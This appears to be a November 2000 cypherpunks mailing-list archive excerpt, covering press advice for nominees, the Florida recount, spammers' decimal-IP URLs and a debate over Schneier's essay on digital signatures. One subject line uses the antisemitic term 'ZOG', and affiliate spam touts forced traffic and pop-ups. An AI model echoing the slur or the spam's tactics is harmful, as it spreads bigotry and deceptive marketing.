never lie, and dont be afraid to tell the media to take a hike." Gibbons, former White House correspondent for Reuters and now the managing editor of Stateline.org, the Web site for state house reporters, says, "The first rule of survival in Washington is never do or say anything that you dont want to read about on the front page of The Washington Post." He believes that a candidate who has been asked by the White House not to discuss an overture has only two choices in handling questions from the media: "Either say no comment or screen your calls." Diana Huffman, who observed the nominations process from the very different perspectives of managing editor of the National Journal and staff director of the Senate Judiciary Committee, says, "Youre ahead in the game if the first publicity comes when the White House actually announces its intention to nominate you." Others agree. Pines, the former Food and Drug Administration spokesman who specializes in crisis communication, says, "The only people who speak with the media in advance of being nominated are those who feel their nominations are on the ropes and they have nothing to lose, or who are not going to take the job and want the visibility that goes with having been considered. If I asked someone I was considering for a job not to speak with the media, and he or she did, I would cross that person off my list." Cheryl Arvidson, a longtime Washington political reporter, counsels, "It is extremely important for a potential nominee not to play favorites and not to engage in cat-and-mouse with reporters." If a reporter asks to talk with you off the record or on background, "caution should be the watchword," says Arvidson, now senior writer for the Freedom Forum, the free press and free speech foundation that operates the Newseum in Arlington, Va. If a reporter calls looking for background information, it may be possible for the prospect (or a surrogate) to point out things in the public record, but usually that isnt necessary, Arvidson says. "The good reporters will find those things on their own, and they will also find people who know the would-be nominee." The LBJ rule Stephen Potts, the director of the U.S. Office of Government Ethics in the Bush and Clinton administrations, subscribes to the view that prospective nominees those not yet officially announced by the White House should talk to few people outside a tight circle of family and colleagues about an impending and still uncertain career switch. "In the Lyndon Johnson years, LBJ had a general rule that if it leaked to the press that you were going to be nominated by him, you therefore were not going to be nominated," he says. "It was that straightforward. So people in those years had a very powerful incentive to keep their mouths shut." That may sound imperious, but if the White House cant trust someone to keep a confidence before taking the job, how can it expect that person to be a team player once confirmed? The rules may not be so ironclad anymore. But presidential transitions inspire a lot of self-promotion, and much of that backfires. The hordes of reporters camped out in Little Rock with President-elect Clinton and his team during the 1992 transition were hungry for word of who was in the running for Cabinet posts. But they guffawed when one Democratic lawmaker and his staff let it be known that he was a candidate for everything from secretary of Defense to CIA director. "It didnt take reporters long to get Clinton insiders laughing about his audacity over drinks in various Little Rock watering spots," a scribe recalls. "And before he knew it, the congressman was a laughing stock." The congressman never got any of the jobs that he and his press agents talked about. Telling the Truth Agreement is universal on another rule of behavior for dealing with reporters: never lie. "Dont ever be in a situation of denying it if you actually know anything. You cant compromise your own integrity," says a Bush administration official, who adds with a laugh, "Of course, its possible that the press has heard about it before you have." Donald C. Alexander recalled that when word leaked out of the Nixon White House about his appointment as IRS commissioner, he followed the advice of George P. Shultz, then secretary of the Treasury, and "did the neither confirm nor deny bit." Alexander added: "George told me, You dont want to lose your credibility even before you get here wait to lose it when you get here." Alexander helped insulate the IRS from Nixon White House excesses during the aftermath of Watergate. He twice had to testify before grand juries, but the ordeal he remembered most is going before congressional oversight committees, where Democrats gave him a tough going-over: You could always tell if the hearing was going to be a total disaster if there were four or more stand-up cameras in the room. That meant the committee had told the press they were really going to go for the jugular. If there were no cameras, the press didnt care for the hearing, and that meant the hearing was likely to be constructiveYou could just tell as you were walking down the halls in Rayburn [House Office Building]. If the light coming out of the hearing room was very bright, it was "Oh, God, here we go again!" * When in doubt, dont talk with reporters. It could cost you an administration post. Regardless of the situation, youre under no obligation to answer reporters questions. * When you do talk with reporters, dont lie or mislead them. * Dont expect them to report everything you say. Print and broadcast reporters alike will cull what they consider your most interesting or salient comments. * Dont be rude or peremptory. Reporters have an important job to do. * Stay abreast of the news. ### ----- End forwarded message ----- From nobody at remailer.privacy.at Wed Nov 15 16:36:02 2000 From: nobody at remailer.privacy.at (Anonymous) Date: Thu, 16 Nov 2000 01:36:02 +0100 Subject: CDR: Zero Tolerance Gun Grabbing Glee! (and where is the ACLU?) Message-ID: [the following snipped from the current Liberator Online www.self-gov.org] Paper Guns Cause Real Trouble While waiting for school buses, a friend taught Virginia seventh grader Bruce Cruz how to make a "gun" out of paper. It's easy -- the kind of school-room origami that kids have done for ages. You just fold two pieces of paper about six times. The "gun" can just as easily be shaped like a boat or a plane. At home, Bruce showed a family member his new trick, making one "gun" out of white school notebook paper. He tossed both into his backpack and forgot about them. In school, the two "guns" fell out of his backpack while Bruce was taking out a book. A teacher seized them. The teacher said nothing. But in the second period, a security guard removed Bruce from class and marched him to the principal's office. School policy prohibits students from possessing "an instrument or device that resembles or looks like a pistol, revolver or any type of weapon..." Apparently, that's true even if the object in question is made out of *paper.* Bruce was suspended for 10 days. After protest from Bruce's mother, the suspension was dropped to "only" two days. His mom is trying to get the suspension cleared from his permanent record -- or if that's not possible, to at least have the record include a precise description of the kind of "gun" involved. What's next -- kids expelled for carrying *pictures* of guns? (Source: Newport Daily Press /Sierra Times / November 11, 2000) --- Student Expelled for Casting Spell Still more evidence -- as if it were needed -- that the government school system is getting ever loonier: The ACLU is defending 15-year-old Broken Arrow, Oklahoma high school student Brandi Blackbear. Blackbear says she was suspended for 15 days last December by school officials who accused her of being a witch and casting a magic spell that caused a teacher to become ill. According to the ACLU, Blackbear was called to the principal's office after the teacher became sick and had to be hospitalized. Blackbear, then a ninth-grader, was questioned about her interest in Wicca, a pagan religion. Officials had learned she had checked out a book from the school library that contained a section on Wicca. According to the lawsuit, after questioning her, officials told Blackbear "that she was an immediate threat to the school" and suspended her for "a disruption of the education process." Blackbear -- who says she's not a witch and does not practice the Wicca religion -- also says school officials told her that a five-pointed star with a circle she had drawn on her hand was an occult symbol and that she couldn't display it. Thus the ACLU lawsuit also accuses school officials of trying to suppress expression of, or interest in, the Wicca religion. The ACLU also argues the school violated the girl's civil rights by seizing her personal notebooks containing horror stories she had written. All in all, the lawsuit claims violations of the First, Fourth, Fifth, Ninth and 14th Amendments to the U.S. Constitution as well as breaches of the Civil Rights Act. "I, for one, would like to see the so-called evidence this school has that a 15-year-old girl made a grown man sick by casting a magic spell," said Joann Bell, executive director of the ACLU's Oklahoma chapter. She added that Blackbear had been tormented by the charges and resulting publicity. An attorney for the school district said it would "defend itself vigorously." (Sources: Associated Press story, October 21, 2000) * * * A Despotism Over Mind and Body... "A general State education is a mere contrivance for molding people to be exactly like one another; and as the mold in which it casts them is that which pleases the dominant power in the government, whether this be a monarch, an aristocracy, or a majority of the existing generation; in proportion as it is efficient and successful, it establishes a despotism over the mind, leading by a natural tendency to one over the body." -- John Stuart Mill, 1859 From lists at politechbot.com Wed Nov 15 22:39:02 2000 From: lists at politechbot.com (Declan McCullagh) Date: Thu, 16 Nov 2000 01:39:02 -0500 Subject: CDR: Dealing with the Washington media -- survivors speak out Message-ID: <20001116013902.A30175@cluebot.com> ----- Forwarded message from Declan McCullagh ----- From affiliate at affiliatewithus.com Wed Nov 15 23:12:55 2000 From: affiliate at affiliatewithus.com (affiliate at affiliatewithus.com) Date: Thu, 16 Nov 2000 03:12:55 -0400 Subject: CDR: 16 Cents Clickthru Program Message-ID: <200011160712.eAG7Ctb05915@output.freehitcounter.com> This is the first and last email we will send you. ------------------------------------------------------------------------- BROUGHT TO YOU BY MPC AMERICA INC. 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You can link to us from any web page you own. http://www.affiliatewithus.com was a great success with our first launch we want to thank webmasters that have participated. 1. Send blind hits. 2. Send exit traffic. 3. Make up your own style of text links "ANYTHING". 4. Use any banner or picture you like. 5. Optin email. 6. Send 404 traffic. 7. Use pop up windows. 8. forced traffic. 9. Newsgroups. 10. Create your own banners. Payouts are like clock work. Home...... http://www.affiliatewithus.com/ Signup.... http://www.affiliatewithus.com/signup.shtml Stats..... http://www.affiliatewithus.com/login.shtml ------------------------------------------------------------------------- BROUGHT TO YOU BY MPC AMERICA INC. SUPPORT affiliate at affiliatewithus.com PH: 902-865-2606 To be taken OFF our mailing reply with "NO" in the subject line. this is a valid email address. This is a one time mailing. Please no hate mail we will take you off our list. ------------------------------------------------------------------------- ------------------------------------------------------------ Free Web Email & Filter Enhancements. http://www.freewebemail.com/filtertools/ ------------------------------------------------------------ From bill.stewart at pobox.com Thu Nov 16 00:58:16 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 16 Nov 2000 03:58:16 -0500 Subject: CDR: Re: Fwd: First Site In-Reply-To: <877l644khd.fsf@athena.dhis.org> References: Message-ID: <3.0.5.32.20001116005734.00b3e210@idiom.com> At 11:20 PM 11/15/00 -0500, David Marshall wrote: >ellie900 at usa.com writes: > >> THE NEW LINK FOR OUR SITE. >> SORRY FOR ANY TROUBLE YOU MAY HAVE HAD WITH THE OLD LINK. >> THIS ONE HAS ALL THE CORRECTIONS >> >> http://3638141293/36/1059436/legal.html > >One boggles when some idiot who spams refers to a URL as a "line," and >then can't even give a valid URL. What did they do, convert the IP to >a single value and then translate it to decimal? Why? >It's obviously to dodge complaints. I have to wonder about anybody who >would write a browser which accepts something like that in the first >place. Yes, they referred to it a as a "link", and it works. Haven't you seen this crap before? Many spammers use it for just the reason you suggest, dodging complaints, because it's too annoying to look up "3638141293" in whois or write to "abuse" there, unlike looking up stupid.user.bigisp.net. Netscape accepts it just fine; I assume Internet Exploiter does too, even though I've never seen it used except by spammers. Joe Baptista points out that Unix traceroute accepts it: > # traceroute 3638141293 > traceroute to 3638141293 (216.217.161.109), 30 hops max, 40 byte packets which I found new and interesting news. So I checked and Win98's MS-DOS ping and tracert both also support it, and with tracert, you get name lookup as well. I disagree with Joe's comment that "The decimal format is part of the way the internet works." It's not. It's part of the way the dns name resolver libraries used by several popular operating systems or application packages work. The Internet works on DNS name resolution and on IP addresses that are 32-bit binary numbers, and while the standards say you're *supposed* to display those as dotted-quad decimal for human readability, they probably don't exactly *require* you not to also accept other formats, though hex would be much less rude than decimal :-) I found the following chunk of traceroute interesting: > 7 wbb1-pos2-0.pop1.ut.home.net (24.7.75.142) 72.083 ms 69.725 ms 59.08 ms > 8 10.253.92.34 (10.253.92.34) 63.26 ms 65.591 ms 86.966 ms > 9 216.217.161.109 (216.217.161.109) 62.396 ms 58.283 ms 60.437 ms Looks like either the spammer's got a machine that's using multiple addresses, one of them a non-routable 10.x address, which makes checking on it hard, or else it's a NAT box, or else @Home's playing cute tricks to reduce crackers, using a 10.x network internally so they and their customers can access their head end routers but people from the real world can't. Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From bill.stewart at pobox.com Thu Nov 16 01:35:53 2000 From: bill.stewart at pobox.com (Bill Stewart) Date: Thu, 16 Nov 2000 04:35:53 -0500 Subject: CDR: Re: CIA proctologists In-Reply-To: Message-ID: <3.0.5.32.20001116011446.0091d100@idiom.com> At 07:35 PM 11/15/00 -0500, anonymous at openpgp.net wrote: >US Citizenship is required, as is successful completion of a medical evaluation, polygraph interview and an extensive background investigation. > >A "medical evaluation"?? It used to be quite common for big companies to do that, before the advent of politically-motivated drug testing. You do want to know if your employees are healthy, especially if they're doing physical labor or driving or you're spending a lot of money training them or if you're self-funding your medical insurance program. Also, the military gives people physicals for similar reasons, and the CIA's sort of related. Polygraphs, of course, are bogus. >http://www.odci.gov/cia/employment/jobpostings/architectstud.htm If they're looking for an Architect Stud, we've got John Young here, so this post is directed to the right place :-) Thanks! Bill Bill Stewart, bill.stewart at pobox.com PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From k.brown at ccs.bbk.ac.uk Thu Nov 16 03:07:19 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Thu, 16 Nov 2000 06:07:19 -0500 Subject: CDR: Re: CIA proctologists References: Message-ID: <3A13BFAE.8ECD6EEF@ccs.bbk.ac.uk> Ray Dillinger wrote: > That's just part of the job. If you're going to handle secret > material for any government, that government will want to know > everything about you no matter how invasive, and they will want > to own every possible bit of leverage anyone can have on you, > and they want to be damned sure that no one else has any leverage > on you that they don't know about. > > Medical examinations are just one aspect of that. > > I bet they audit someone's taxes for the last six years before > they hire them, too. Current fuss over here on the downwind side of the Atlantic is the Metropolitan police (i.e. local plod for all of greater London *except* the City of London and some railway stations...) wanting permission to hire convicted criminals. The law prevents them hiring anyone with any recorded conviction. They say they can't get enough people at the moment, and as about 20% of adult men have a criminal conviction they would like to treat each case "on its merits", to increase the field of possible recruits. So they might, on a case-by-case basis, be willing to overlook "minor" crimes, such as defaulting on tax, speeding, parking offences, minor acts of vandalism or public disorder committed whilst a teenager, possibly even single convictions for drug use if they were over ten years ago. Some disordered thoughts: - as driving kills ten to twenty times as many people as murder (in this country, YMMV) I'm not sure speeding is a "minor" offence. - if the drugs & disorder offences are so "minor" why are they offences anyway? Why do the police bother to arrest people for them? Why don't they arresting genuinely dangerous people (like dangerous drivers :-) - About a third of the population of inner London in the relevant age group are black or Asian. Maybe ten percent are 1st or 2nd generation Irish. All heavily under-represented in the police who have a bad reputation for racism. Even if it is undeserved (I'm pretty bloody sure it is largely deserved), if they are so short of recruits they should do something serious about it. - ditto their attitude to women - and anyway, these governments have been forcing the ideology of the Free Market down our throats for 25 years. If it is a Free Market and they are short of workers they should put the wages up. All this palaver is just a way to keep the wages down. Of course the wages are paid out of taxes. So the question for the taxpayers is you say you want more police (they always do, always, same as they say they want more TV cameras) but if you really do are you prepared to pay for it? From George at Orwellian.Org Thu Nov 16 04:16:35 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 16 Nov 2000 07:16:35 -0500 (EST) Subject: CDR: Florida absentee ballots Message-ID: <200011161216.HAA15390@www2.aa.psiweb.com> http://www.tvdance.com/bush-gore/ ---- Overseas absentee ballots, as opposed to in-state... http://www.villagevoice.com/issues/0046/elect4.shtml WASHINGTON, NOVEMBER 15-With the presidential election supposedly hanging on Friday's count of absentee ballots from overseas, observers caution this potential bomb may turn out to be a dud. So far only 447 military ballots have been received by the postal authorities. At that rate, The Washington Post calculates, the amount of military ballots would end up at an underwhelming 750-a far cry from the originally projected 2300. Military votes were projected to make up the bulk of overseas ballots, which are set to be tallied on Friday, November 17. As the Voice reported last week, Monte Friedkin, chairman of the Palm Beach County Democratic Party, said state elections officials had not picked up at least 500 absentee ballots from the post office on Election Day, raising the possibility that someone is tampering with the absentee vote. In theory, absentee ballots from the armed forces would help Republican George W. Bush, who clings to a slender 300-vote margin. In 1996, Republican Bob Dole received most of those votes. But Pentagon observers caution this may not be the case. While there is no love lost for Clinton-Gore among the military branches, it's not a done deal by any means. Soldiers and sailors vote along class lines, with the brass going for Bush. But the enlisted soldiers, especially black men and women, could just as easily turn out for Gore. Florida beefed up its laws governing absentee ballots after a Miami election was overturned due to fraud. But Democrats question whether the statutes are working, because they claim Republic an-controlled county elections officials violated the law by sending out absentee ballots to people who didn't ask for them. State law stipulates voters must request absentee ballots. Perhaps the small number of absentee ballots can be explained by the following: WorldNetDaily reported yesterday that a source on the USS Tarawa, a U.S. assault ship near Yemen, said that "thousands" of ballots were languishing onboard. The Pentagon, which first denied this report, now says, according to the New York Post, that the ballots of some 3000 sailors and marines on the USS Tarawa, USS Duluth, and USS Anchorage would be flown back to the United States "expeditiously." Capt. Van P. Brinson, who says he did not receive his absentee ballot, told WorldNetDaily he penned a November 8 e-mail in which he wrote: "I cannot speak for the remainder of the crew of the Tarawa, but I do know that the majority of the Marines and sailors that I have spoken with are in the same boat. What is distressing about the situation is that a majority of the pilots aboard are registered voters in Florida." Stripped of confusing press reporting and legalistic mumbo jumbo, the results of the endless Florida recount so far amount to next to nothing. According to Sam Smith?s Prorev.com afternoon tally, after a week of recounting, the change in the vote "finally certified by the state for Palm Beach County represented two-tenths of 1 percent." As reported previously, Gore carried Palm Beach County by 140,000 votes, collecting 24 percent of the total vote. From ravage at ssz.com Thu Nov 16 05:29:30 2000 From: ravage at ssz.com (Jim Choate) Date: Thu, 16 Nov 2000 07:29:30 -0600 (CST) Subject: CDR: Re: Late-postmarked ballots from ZOG-occupied Palestine In-Reply-To: <3A13D97A.31F414C1@ricardo.de> Message-ID: On Thu, 16 Nov 2000, Tom Vogt wrote: > Tim May wrote: > > The claim is that if they can "prove" they were unable to have them > > postmarked by the time polls closed in Florida, due to the violence > > or whatever, that maybe they will still be allowed in. > > how can you be unable to do something as simple as sending a letter by a > deadline you know like several months ahead? Becuase the queueing delays aren't constant and there is a loss factor. In general the simplest way to explain it is: people are strange. ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- From George at Orwellian.Org Thu Nov 16 05:32:28 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Thu, 16 Nov 2000 08:32:28 -0500 (EST) Subject: CDR: Bush's legal contradictions Message-ID: <200011161332.IAA17498@www0.aa.psiweb.com> It's all just politics... Bush said keep it out of the courts, then went to Federal court. Now...(snipped) http://foxnews.com/election_night/111600/trail.sml # # The Florida Supreme Court, in a one-paragraph decision, denied # a petition by Florida Secretary of State Harris to halt manual # recounts in at least two counties and consolidate 11 lower-court # cases into a single one. The ruling gave elections officials # in Palm Beach and Broward counties reason to restart a hand count # of as many as 1 million votes. # # The Bush campaign has argued that the seven-member state panel # - filled entirely by Democrats - has no authority in the case. # "It's my opinion that the [Florida] Supreme Court has no # jurisdiction," said Barry Richard, a Bush legal adviser. From SuperCheapRates at quality-ins.com Thu Nov 16 08:59:01 2000 From: SuperCheapRates at quality-ins.com (Quality Life Insurance Services) Date: Thu, 16 Nov 2000 08:59:01 Subject: CDR: Smart Rates on Life Insurance!! Message-ID: <200011171457.JAA21427@mail.virtual-estates.net> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 4924 bytes Desc: not available URL: From rah at shipwright.com Thu Nov 16 06:40:01 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Thu, 16 Nov 2000 09:40:01 -0500 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: <20001116011224.B29800@cluebot.com> References: <4.2.2.20001115165119.00ce3bb0@chaparraltree.com> <20001116011224.B29800@cluebot.com> Message-ID: At 1:12 AM -0500 on 11/16/00, Declan McCullagh wrote: > Bruce's article is well-written, but it covers ground already > well-trodden by others. Certainly. Carl Ellison, Perry Metzger, and even law professors like Jane Kauffman Wynn, have been saying this stuff for years. > Moreover, most, if not all, of his points > apply to data-scrambling encryption applications on the same computer. Yup. But, frankly, you don't want to do commerce, especially finance, on a platform you don't have absolute control over, anyway. As Chaum and others point out, you want your own box, with its own I/O, and so on. Fortunately, falling hardware prices and miniaturization continue to accelerate apace. > Still, maybe it'll raise the visibility of this problem. And that's why I'm passing this around. Bruce succeeds where others fail, by the way, because takes complicated crypto stuff like this and reduces it to plain English better than just about anybody out there at the moment. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From ericm at lne.com Thu Nov 16 09:52:35 2000 From: ericm at lne.com (Eric Murray) Date: Thu, 16 Nov 2000 09:52:35 -0800 Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: ; from rah@shipwright.com on Thu, Nov 16, 2000 at 09:40:01AM -0500 References: <4.2.2.20001115165119.00ce3bb0@chaparraltree.com> <20001116011224.B29800@cluebot.com> Message-ID: <20001116095235.D6491@slack.lne.com> On Thu, Nov 16, 2000 at 09:40:01AM -0500, R. A. Hettinga wrote: > > At 1:12 AM -0500 on 11/16/00, Declan McCullagh wrote: > > > > Bruce's article is well-written, but it covers ground already > > well-trodden by others. > > Certainly. > > Carl Ellison, Perry Metzger, and even law professors like Jane Kauffman > Wynn, have been saying this stuff for years. > > > Moreover, most, if not all, of his points > > apply to data-scrambling encryption applications on the same computer. > > Yup. > > But, frankly, you don't want to do commerce, especially finance, on a > platform you don't have absolute control over, anyway. As Chaum and others > point out, you want your own box, with its own I/O, and so on. Fortunately, > falling hardware prices and miniaturization continue to accelerate apace. What's interesting about this is that while everyone wants the added security from a device like this, no one wants to pay for it. I did a lot of the design for a secure smartcard keyboard that was produced a few years ago by a company called N*Able (bought last year by Wave Systems). It solved the problem of trusting the PC that you shove your smartcard into not to steal the PIN or sign something else or lie about what you're signing. Rather than having to trust MS (or linux) to protect your signing keys and what you're signing, you only had to trust our keyboard, which was designed from the beginning to be secure (while that's not perfect but it's a heck of a lot better than trusting MS, and good enough for commercial applications). However, in meeting with the US banking industry, we were told in so many words "this solves our security problems, we'd love to use it, but we want someone else to pay for deployment". The financial industry sees security problems not as something to be fixed, but as a cost to be borne. If the cost of the security breaks is less than the cost of the technology to fix it, or if the cost of security breaches can be passed on to someone else, there is no reason to put a security measure into place to fix the problem. I beleive that most financial systems in the US, operate on the second model (credit cards do by law- loss over $50 is eaten by the merchant or sometimes the issuing bank, to be passed back to consumers in higher prices). I think that the force that would distribute secure signing hardware in the US is profit- the hardware and the systems to support it would need to cost enough less than the fraud rate that there's a profit to be made off the difference. Unfortunately with this type of hardware, most of the cost is not in the hardware itself, but in the distribution, software and support. AMex seems to have discovered that with "blue"- there's no support for actual on-line payments. In fact the company that did the software, GlobeSET, recently folded. So now it's a regular credit card with a pretty gold-colored symbol on one side. The cost might have been worth paying for long-term customer acquisition, but it was a bust as far as fraud reduction and security is concerned. -- Eric Murray Consulting Security Architect SecureDesign LLC http://www.securedesignllc.com PGP keyid:E03F65E5 From Somebody Thu Nov 16 10:09:43 2000 From: Somebody (Somebody) Date: Thu, 16 Nov 2000 10:09:43 -0800 Subject: Schneier: When is a Signature not a Signature? When it's a chad. Message-ID: Bruce falls into the same error he points out: attempting to devine intent rigorously. In fact there lots of ways humans have agreed to evidence agreement, and none of them are tamper proof. Much of the corporate world runs on electronically printed signatures for checks, there is a long and illustreous history of signet rings and carved chops being used as contractual evidence... His argument is equivalent to saying that we should not accept a corporate check because the computer room could have been hacked, or that King X should not accept the seal of King Y because his nemesis might have snuck in at night and borrowed it from his finger while he slept, or that Wu-san's chop had been copied by an expert carver. (and I'm certain such events have in fact occurred.) I think his only valid point is that digital signatures are not somehow better. What they do provide are 1) an interesting possibility for _remote_ contracting, and 2) a way for computing machinery to do things analogous to humans contracting with each other. Both of these are important and will likely yield lots of exciting new applications. Bruce should keep in mind that the Digital Signature Law recently enacted basically says that no signature will be deemed invalid _purely_ because it is electronic in nature. It doesn't say that computation of m^e mod n constitutes Alice's intent to sign. It does say that if Alice and Bob agree to use such a digital mechanism to evidence intent, then they may. And just as we are learning this week that a "vote" is a more ambiguous concept than we may have intuitively thought, a "signature" has _never_ been a black-and-white expression of human intent, simply one piece of evidence in a sometimes cluttered, occasionally fraudulent, and always contestable world. "R. A. Hettinga" wrote: > At 5:58 PM -0600 on 11/15/00, Bruce Schneier wrote: > > > Why Digital Signatures Are Not Signatures > > > > > > > > When first invented in the 1970s, digital signatures made an amazing > > promise: better than a handwritten signature -- unforgeable and uncopyable > > -- on a document. Today, they are a fundamental component of business in > > cyberspace. And numerous laws, state and now federal, have codified > > digital signatures into law. > > > > These laws are a mistake. Digital signatures are not signatures, and they > > can't fulfill their promise. Understanding why requires understanding how > > they work. > > > > The math is complex, but the mechanics are simple. Alice knows a secret, > > called a private key. When she wants to "sign" a document (or a message, > > or any bucket of bits), she performs a mathematical calculation using the > > document and her private key; then she appends the results of that > > calculation -- called the "signature" -- to the document. Anyone can > > "verify" the signature by performing a different calculation with the > > message and Alice's public key, which is publicly available. If the > > verification calculation checks out then Alice must have signed the > > document, because only she knows her own private key. > > > > Mathematically, it works beautifully. Semantically, it fails > > miserably. There's nothing in the description above that constitutes > > signing. In fact, calling whatever Alice creates a "digital signature" was > > probably the most unfortunate nomenclature mistake in the history of > > cryptography. > > > > In law, a signature serves to indicate agreement to, or at least > > acknowledgment of, the document signed. When a judge sees a paper document > > signed by Alice, he knows that Alice held the document in her hands, and > > has reason to believe that Alice read and agreed to the words on the > > document. The signature provides evidence of Alice's intentions. (This is > > a simplification. With a few exceptions, you can't take a signed document > > into court and argue that Alice signed it. You have to get Alice to > > testify that she signed it, or bring handwriting experts in and then it's > > your word against hers. That's why notarized signatures are used in many > > circumstances.) > > > > When the same judge sees a digital signature, he doesn't know anything > > about Alice's intentions. He doesn't know if Alice agreed to the document, > > or even if she ever saw it. > > > > The problem is that while a digital signature authenticates the document up > > to the point of the signing computer, it doesn't authenticate the link > > between that computer and Alice. This is a subtle point. For years, I > > would explain the mathematics of digital signatures with sentences like: > > "The signer computes a digital signature of message m by computing m^e mod > > n." This is complete nonsense. I have digitally signed thousands of > > electronic documents, and I have never computed m^e mod n in my entire > > life. My computer makes that calculation. I am not signing anything; my > > computer is. > > > > PGP is a good example. This e-mail security program lets me digitally sign > > my messages. The user interface is simple: when I want to sign a message I > > select the appropriate menu item, enter my passphrase into a dialog box, > > and click "OK." The program decrypts the private key with the passphrase, > > and then calculates the digital signature and appends it to my > > e-mail. Whether I like it or not, it is a complete article of faith on my > > part that PGP calculates a valid digital signature. It is an article of > > faith that PGP signs the message I intend it to. It is an article of faith > > that PGP doesn't ship a copy of my private key to someone else, who can > > then sign whatever he wants in my name. > > > > I don't mean to malign PGP. It's a good program, and if it is working > > properly it will indeed sign what I intended to sign. But someone could > > easily write a rogue version of the program that displays one message on > > the screen and signs another. Someone could write a Back Orifice plug-in > > that captures my private key and signs documents without my consent or > > knowledge. We've already seen one computer virus that attempts to steal > > PGP private keys; nastier variants are certainly possible. > > > > The mathematics of cryptography, no matter how strong, cannot bridge the > > gap between me and my computer. Because the computer is not trusted, I > > cannot rely on it to show me what it is doing or do what I tell it > > to. Checking the calculation afterwards doesn't help; the untrusted > > computer can't be relied upon to check the calculations properly. It > > wouldn't help to verify the code, because the untrusted computer is running > > the code (and probably doing the verification). It wouldn't even help to > > store the digital signature key in a secure module: the module still has to > > rely on the untrusted computer for input and output. > > > > None of this bodes well for digital signatures. Imagine Alice in court, > > answering questions about a document she signed. "I never saw it," she > > says. "Yes, the mathematics does prove that my private key signed the > > document, but I never saw it." And then an expert witness like myself is > > called to the stand, who explains to the judge that it is possible that > > Alice never saw the document, that programs can be written to sign > > documents without Alice's knowledge, and that Alice's digital signature > > doesn't really mean anything about Alice's intentions. > > > > Solving this problem requires a trusted signing computer. If Alice had a > > small hand-held computer, with its own screen and keyboard, she could view > > documents on that screen and sign them with that keyboard. As long as the > > signing computer is trusted, her signatures are trusted. (But problems > > remain. Viewing a Microsoft Word document, for example, generally involves > > the very software most responsible for welcoming a virus into the > > computer.) In this case we're no longer relying on the mathematics for > > security, but instead the hardware and software security of that trusted > > computer. > > > > This is not to say that digital signatures are useless. There are many > > instances where the insecurities discussed here are not relevant, or where > > the dollar value of the signatures is small enough not to warrant worrying > > about them. There are also instances where authenticating to the signing > > computer is good enough, and where no further authentication is > > required. And there are instances where real-world relationships can > > obviate the legal requirements that digital signatures have been asked to > > satisfy. > > > > Digital signatures prove, mathematically, that a secret value known as the > > private key was present in a computer at the time Alice's signature was > > calculated. It is a small step from that to assume that Alice entered that > > key into the computer at the time of signing. But it is a much larger step > > to assume that Alice intended a particular document to be signed. And > > without a tamperproof computer trusted by Alice, you can expect "digital > > signature experts" to show up in court contesting a lot of digital > >signatures. > > > > Comments on the new federal digital signature law: > > > > (multipage, don't miss the others) > > > > > > > > > > A survey of laws in various states and countries: > > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation > 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From petro at bounty.org Thu Nov 16 10:34:17 2000 From: petro at bounty.org (petro) Date: Thu, 16 Nov 2000 10:34:17 -0800 Subject: CDR: Re: Florida absentee ballots In-Reply-To: <200011161216.HAA15390@www2.aa.psiweb.com> References: <200011161216.HAA15390@www2.aa.psiweb.com> Message-ID: >he wrote: "I cannot speak for the remainder of the crew of the >Tarawa, but I do know that the majority of the Marines and sailors >that I have spoken with are in the same boat. What is distressing No pun intended of course. -- A quote from Petro's Archives: ********************************************** "Despite almost every experience I've ever had with federal authority, I keep imagining its competence." John Perry Barlow From bear at sonic.net Thu Nov 16 10:48:16 2000 From: bear at sonic.net (Ray Dillinger) Date: Thu, 16 Nov 2000 10:48:16 -0800 (PST) Subject: CDR: Re: Schneier: Why Digital Signatures are not Signatures (was Re: CRYPTO-GRAM, November 15, 2000) In-Reply-To: <200011161610.LAA30123@blount.mail.mindspring.net> Message-ID: On Thu, 16 Nov 2000, John Young wrote: >Still, is there no alternative to giving government and >corporations first, if not exclusive, choice on the best >products and services, Not if you plan to make a legal profit, there isn't. After all, government and corporations are the people with the money. >Now, none of this applies to Bruce's evolving computer >security body of work, which is most impressive. It's just not >clear what will evolve as Counterpane takes more of his >time and effort. Which mostly consists of pointing out flaws and problems with things other than the encryption/decryption algorithms in use: Bits of it are definitely worth a read between auditing routines in your code. (oh yeah, I have 64 bits of key in this local variable, and I'm exiting the routine: better remember to write over them so whatever grabs the memory next can't read them.... and while I'm at it, I better declare that 'volatile' so the system can't swap it to disk...) This stuff is why you can't just plug libraries together and have a good crypto product; A 'math library' made for crypto has to do fundamental things to prevent other applications getting their hands on 'numbers' that a math library for general application does not have to do. Ditto a windowing or GUI system made for crypto, etc. All these slap-together GUI programs made with MFC etc that we're seeing, are a completely wrong approach for cryptographic software; you can't make that stuff secure, you have to write your own. And this is what Schneier has been pointing out. And thank 